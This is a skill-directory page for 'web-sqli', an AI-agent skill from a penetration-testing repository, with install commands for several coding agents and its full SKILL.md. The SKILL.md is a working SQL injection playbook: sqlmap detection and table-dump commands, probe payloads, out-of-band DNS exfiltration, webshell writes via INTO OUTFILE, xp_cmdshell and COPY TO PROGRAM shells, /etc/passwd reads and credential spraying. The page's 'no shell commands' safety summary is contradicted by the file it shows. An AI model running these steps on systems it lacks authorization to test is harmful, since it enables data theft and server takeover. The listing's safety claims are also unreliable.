Exploiting SQL Injection Vulnerabilities
mukul975/Anthropic-Cybersecurity-Skills
Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap.
SQL injection detection→exploitation→proof for web apps and APIs.
Install Web Sqli
$ npx skills add s0ld13rr/pentestcode --skill web-sqli -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install s0ld13rr/pentestcode web-sqli --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/web/sqli .claude/skills/web-sqli && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "web-sqli" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/sqli into .claude/skills/web-sqli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-sqli", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/sqliType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add s0ld13rr/pentestcode --skill web-sqli -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install s0ld13rr/pentestcode web-sqli --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/web/sqli .agents/skills/web-sqli && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "web-sqli" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/sqli into .agents/skills/web-sqli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-sqli", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add s0ld13rr/pentestcode --skill web-sqli -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install s0ld13rr/pentestcode web-sqli --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/web/sqli .cursor/skills/web-sqli && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "web-sqli" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/sqli into .cursor/skills/web-sqli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-sqli", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/s0ld13rr/pentestcode.git --path skills/web/sqli--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add s0ld13rr/pentestcode --skill web-sqli -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install s0ld13rr/pentestcode web-sqli --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/web/sqli .gemini/skills/web-sqli && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "web-sqli" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/sqli into .gemini/skills/web-sqli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-sqli", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install s0ld13rr/pentestcode web-sqliInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add s0ld13rr/pentestcode --skill web-sqli -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/web/sqli .github/skills/web-sqli && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "web-sqli" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/sqli into .github/skills/web-sqli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-sqli", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add s0ld13rr/pentestcode --skill web-sqli -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install s0ld13rr/pentestcode web-sqli --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/web/sqli .opencode/skills/web-sqli && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "web-sqli" agent skill from https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/sqli into .opencode/skills/web-sqli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "web-sqli", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Facts
- Skill name
web-sqli- GitHub stars
- 828
- Token cost
- ~710 tokens
- SKILL.md length
- 222 words
- Files
- 1
- Skills in repo
- 9
- Repo updated
- First seen
- Licence
- MIT
At a glance
SQL injection detection→exploitation→proof for web apps and APIs.
- A parameter reaches a DB query
- SKILL.md covers When this fires, Detect (tool-first, low-noise), Decide and Exploit → PROVE IMPACT, plus 2 more sections
- Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md
- Input triggers a SQL error / boolean
What it does
Web Sqli is an agent skill from s0ld13rr/pentestcode. SQL injection detection→exploitation→proof for web apps and APIs. Use when a parameter reaches a DB query, when input triggers a SQL error / boolean or time differential, or during VULN-ASSESSMENT/EXPLOITATION on a web target. Triggers - sql syntax error, ORA-/MySQL/psql/SQLite error string, ' or 1=1, order by, sleep-based delay, login bypass, id/search/filter param.
Its SKILL.md is about 710 tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Penetration testing, Web application vulnerabilities and SQL. It works with SQL, MySQL, SQLite and PostgreSQL. The repository describes itself as: PentestCode - Multi-agent AI penetration testing system with persistent engagement state, strategic coordination, and parallel autonomous operations. The licence is MIT.
When your agent uses it
- A parameter reaches a DB query
- Input triggers a SQL error / boolean
- Time differential
- During VULN-ASSESSMENT/EXPLOITATION on a web target
Example prompts
- “/web-sqli”
What it can do on your machine
Read from SKILL.md and the folder at commit 6053679. It shows what the files ask for, not the result of running them.
Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
No scripts in the folder and no shell commands in SKILL.md (its code samples are bash).
From the folder's file list and the shell code blocks in SKILL.md.
Network
No URLs in SKILL.md.
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Context cost
Web Sqli loads about 710 tokens when it runs. Until then it costs about 95 tokens; SKILL.md has 222 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
Safety
Auto-check passed
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
SKILL.md
The full file from s0ld13rr/pentestcode at commit 6053679, republished under its MIT licence (© s0ld13rr). 222 words, ~710 tokens.
Download SKILL.mdSave it as
.claude/skills/web-sqli/SKILL.md (or your agent's skills folder).- name
- web-sqli
- description
- SQL injection detection→exploitation→proof for web apps and APIs. Use when a parameter reaches a DB query, when input triggers a SQL error / boolean or time differential, or during VULN-ASSESSMENT/EXPLOITATION on a web target. Triggers - sql syntax error, ORA-/MySQL/psql/SQLite error string, ' or 1=1, order by, sleep-based delay, login bypass, id/search/filter param.
- tags
- vuln_assess, exploitation
SQL Injection
When this fires
A param reaches a query; you see a SQL error, a boolean-differential (true≠false response), or a time delay on a payload. Also any login/search/id/sort param on a DB-backed app.
Detect (tool-first, low-noise)
Drive detection with sqlmap, not by eye — it covers boolean/error/union/time/stack + gives an evidence chain:
sqlmap -u 'http://<t>/item?id=1' --batch --level 3 --risk 2 --random-agent | tee /tmp/sqlmap.txt
# non-standard transport (JSON body / RSC / GraphQL / custom headers): save the full request, then:
sqlmap -r /tmp/request.txt -p <param> --batchThen sqlmap_parse on the output. A single manual probe (', ' OR '1'='1' -- -, 1 AND SLEEP(5)) is a confirm poke ONLY — never the detection method or a payload sweep by hand.
Decide
- Error shown → error-based / UNION (fastest data). Get column count:
ORDER BY Nuntil it breaks; find the reflected column; fingerprint DB (@@version,version(),sqlite_version()). - No error but true≠false → boolean-blind. No differential but timing → time-blind (
SLEEP/WAITFOR DELAY/pg_sleep/dbms_pipe.receive_message). - No in-band channel → OOB (DNS/HTTP exfil) via
--dns-domain/ MySQLLOAD_FILE(CONCAT('\\\\',...)), MSSQLxp_dirtree.
Exploit → PROVE IMPACT
sqlmap -r /tmp/request.txt -p <param> --batch --dbs # list databases
sqlmap ... -D <db> --tables ; sqlmap ... -D <db> -T <tbl> --dump # extract
# creds/secrets → add_credential + cred_spray; escalate where possible:
# MySQL FILE priv → --file-read=/etc/passwd, INTO OUTFILE webshell in webroot
# MSSQL sa → --os-shell (xp_cmdshell) ; PostgreSQL superuser → COPY ... TO PROGRAM / --os-shellProof required: a dumped row a benign query couldn't return (a canary/secret value), a read file (/etc/passwd), or id via os-shell. "sqlmap says injectable" is a lead, not proof.
Tooling
sqlmap (--batch --random-agent, -r for weird transports, --technique BEUSTQ, --tamper for WAF) → sqlmap_parse. nuclei for known-CVE SQLi in a specific product → nuclei_parse.
False positives / pitfalls
- 200-on-everything / WAF echo → confirm a TRUE vs FALSE differential, not just a reflected string.
- Time-blind on a slow app → use several sleep durations, compare.
- Auth/CSRF-gated param → pass the session (
--cookie/--headers), satisfy CSRF, or use-r.
© s0ld13rr, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Files
Just SKILL.md in skills/web/sqli of s0ld13rr/pentestcode.
Open the folder on GitHubat commit 6053679
Compare with similar skills
Web Sqli next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Web Sqli this skills0ld13rr/pentestcode | 828 | — | ~710 | Automated safety check: Pass | MIT | |
| Exploiting SQL Injection Vulnerabilitiesmukul975/Anthropic-Cybersecurity-Skills | 34k | — | ~3.2k | Automated safety check: Pass | Apache-2.0 | |
| Sqli TestingNeoTheCapt/RedteamAgent | 143 | — | ~1.2k | Automated safety check: Pass | None | |
| SQL Database Support for pRESTprest/prest | 4.6k | — | ~1.6k | Automated safety check: Pass | MIT | |
| Squixeduardofuncao/squix | 273 | — | ~784 | Automated safety check: Pass | MIT | |
| Golang Databaseunxed/f4 | 243 | 2 repos | ~2.9k | Automated safety check: Pass | MIT |
Similar skills
Sqli Testing
NeoTheCapt/RedteamAgent
Detect and exploit SQL injection vulnerabilities in web application parameters
SQL Database Support for pREST
prest/prest
Guides classifying, gap-analyzing and scaffolding support for a new SQL database in pREST, from Postgres-compatible variants to entirely new dialects.
Squix
eduardofuncao/squix
Run SQL queries across databases (Postgres, MySQL, SQLite, etc.) via the squix CLI.
Golang Database
unxed/f4
Comprehensive guide for Go database access — parameterized queries, struct scanning, NULLable columns, transactions, isolation levels, SELECT FOR UPDATE, connection pool, batch processing, context…
Database Marchat
Cod-e-Codes/marchat
Changes marchat SQL schema and queries across SQLite, PostgreSQL, and MySQL using dialect helpers.
More from s0ld13rr/pentestcode
All 9 skills in this repoSvc Docker K8s
s0ld13rr/pentestcode
Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft.
Svc Mobile Android
s0ld13rr/pentestcode
Android APK static analysis — OWASP Mobile Top 10, Retrofit API audit, transport security, smali reading, component export, auth flow analysis.
Web Lfi Traversal
s0ld13rr/pentestcode
Path traversal / Local File Inclusion detection→file-read→RCE for web apps.
Web Ssti
s0ld13rr/pentestcode
Server-Side Template Injection detection→engine-fingerprint→RCE for web apps.
Web Xxe
s0ld13rr/pentestcode
XML External Entity injection detection→file-read/SSRF→proof for web apps.
Svc Database
s0ld13rr/pentestcode
Database RCE paths — UDF, xpcmdshell, COPY TO PROGRAM, Redis key write.
Related
Works with
Questions about Web Sqli
What does Web Sqli do?
SQL injection detection→exploitation→proof for web apps and APIs. Web Sqli is an agent skill from s0ld13rr/pentestcode. SQL injection detection→exploitation→proof for web apps and APIs.
When should I use Web Sqli?
Web Sqli fits situations like: A parameter reaches a DB query; input triggers a SQL error / boolean; time differential; during VULN-ASSESSMENT/EXPLOITATION on a web target.
How do I install Web Sqli in Claude Code?
Run `npx skills add s0ld13rr/pentestcode --skill web-sqli -a claude-code`. Or copy the skill folder (skills/web/sqli in s0ld13rr/pentestcode) into .claude/skills/web-sqli in your project. Claude Code loads it when a task matches its description.
How do I install Web Sqli in Codex?
Run `npx skills add s0ld13rr/pentestcode --skill web-sqli -a codex`. Or copy the skill folder (skills/web/sqli in s0ld13rr/pentestcode) into .agents/skills/web-sqli in your project. Codex loads it when a task matches its description.
Can I use Web Sqli in Cursor, Gemini CLI or GitHub Copilot?
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add s0ld13rr/pentestcode --skill web-sqli -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/web-sqli, .gemini/skills/web-sqli, .github/skills/web-sqli and .opencode/skills/web-sqli in your project.
What does Web Sqli need to run?
SKILL.md names no scripts, command-line tools or credentials: Web Sqli is instructions for the agent only.
Does Web Sqli access the network?
SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.
Is Web Sqli safe to install?
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
What licence does Web Sqli use?
Web Sqli is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
How many tokens does Web Sqli use?
About 710 tokens (SKILL.md is roughly 2.8k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
What are the alternatives to Web Sqli?
Skills that share tags, products or a category with Web Sqli: Exploiting SQL Injection Vulnerabilities (mukul975/Anthropic-Cybersecurity-Skills, 34k stars), Sqli Testing (NeoTheCapt/RedteamAgent, 143 stars), SQL Database Support for pREST (prest/prest, 4.6k stars) and Squix (eduardofuncao/squix, 273 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Who maintains Web Sqli?
s0ld13rr (a GitHub user) maintains it in s0ld13rr/pentestcode, which has 828 GitHub stars. The repository holds 9 skills in this directory. The repository was last updated on October 2, 2026.
Source: s0ld13rr/pentestcode on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.